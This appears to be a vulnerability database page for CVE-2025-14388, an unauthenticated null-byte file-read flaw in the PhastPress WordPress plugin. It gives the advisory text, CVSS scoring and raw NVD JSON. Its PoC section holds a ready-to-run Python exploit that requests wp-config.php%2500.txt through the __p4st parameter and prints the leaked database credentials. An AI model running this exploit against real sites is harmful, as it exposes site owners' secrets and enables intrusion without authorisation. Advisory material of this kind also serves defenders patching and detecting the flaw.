Security Vulnerability Report
中文
CVE-2025-14388 CVSS 9.8 CRITICAL

CVE-2025-14388

Published: 2025-12-23 10:15:44
Last Modified: 2026-04-15 00:35:42

Description

The PhastPress plugin for WordPress is vulnerable to Unauthenticated Arbitrary File Read via null byte injection in all versions up to, and including, 3.7. This is due to a discrepancy between the extension validation in `getExtensionForURL()` which operates on URL-decoded paths, and `appendNormalized()` which strips everything after a null byte before constructing the filesystem path. This makes it possible for unauthenticated attackers to read arbitrary files from the webroot, including wp-config.php, by appending a double URL-encoded null byte (%2500) followed by an allowed extension (.txt) to the file path.

CVSS Details

CVSS Score
9.8
Severity
CRITICAL
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

No configuration data available.

PhastPress plugin <= 3.7 (all versions up to and including 3.7)

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests import urllib.parse # CVE-2025-14388 PoC - PhastPress Arbitrary File Read # Target: WordPress site with PhastPress plugin <= 3.7 target_url = "http://target-wordpress-site.com/" # Read wp-config.php using null byte injection # %2500 = double URL-encoded null byte # .txt = allowed extension to bypass getExtensionForURL() check file_to_read = "wp-config.php" encoded_null = "%2500" extension = ".txt" # Construct the malicious path malicious_path = f"{file_to_read}{encoded_null}{extension}" # Full URL to exploit the vulnerability exploit_url = target_url + "?__p4st=" + malicious_path print(f"[*] Exploiting CVE-2025-14388") print(f"[*] Target: {target_url}") print(f"[*] Attempting to read: {file_to_read}") print(f"[*] Exploit URL: {exploit_url}") try: response = requests.get(exploit_url, timeout=30) if response.status_code == 200: # Check if we got the actual file content if "DB_NAME" in response.text or "<?php" in response.text: print("[+] SUCCESS! File content retrieved:") print(response.text[:2000]) # Print first 2000 chars else: print("[-] Response received but file content not detected") print(response.text[:500]) else: print(f"[-] Request failed with status code: {response.status_code}") except requests.exceptions.RequestException as e: print(f"[-] Error: {e}")

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-14388", "sourceIdentifier": "[email protected]", "published": "2025-12-23T10:15:43.673", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "The PhastPress plugin for WordPress is vulnerable to Unauthenticated Arbitrary File Read via null byte injection in all versions up to, and including, 3.7. This is due to a discrepancy between the extension validation in `getExtensionForURL()` which operates on URL-decoded paths, and `appendNormalized()` which strips everything after a null byte before constructing the filesystem path. This makes it possible for unauthenticated attackers to read arbitrary files from the webroot, including wp-config.php, by appending a double URL-encoded null byte (%2500) followed by an allowed extension (.txt) to the file path."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "baseScore": 9.8, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-158"}]}], "references": [{"url": "https://plugins.trac.wordpress.org/browser/phastpress/tags/3.6/sdk/phast.php#L9570", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/phastpress/tags/3.6/sdk/phast.php#L9597", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/phastpress/tags/3.6/sdk/phast.php#L9608", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/phastpress/tags/3.6/sdk/phast.php#L9641", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/changeset/3418139", "source": "[email protected]"}, {"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/eec9bbc0-5a68-4624-a672-bd6227d6fa45?source=cve", "source": "[email protected]"}]}}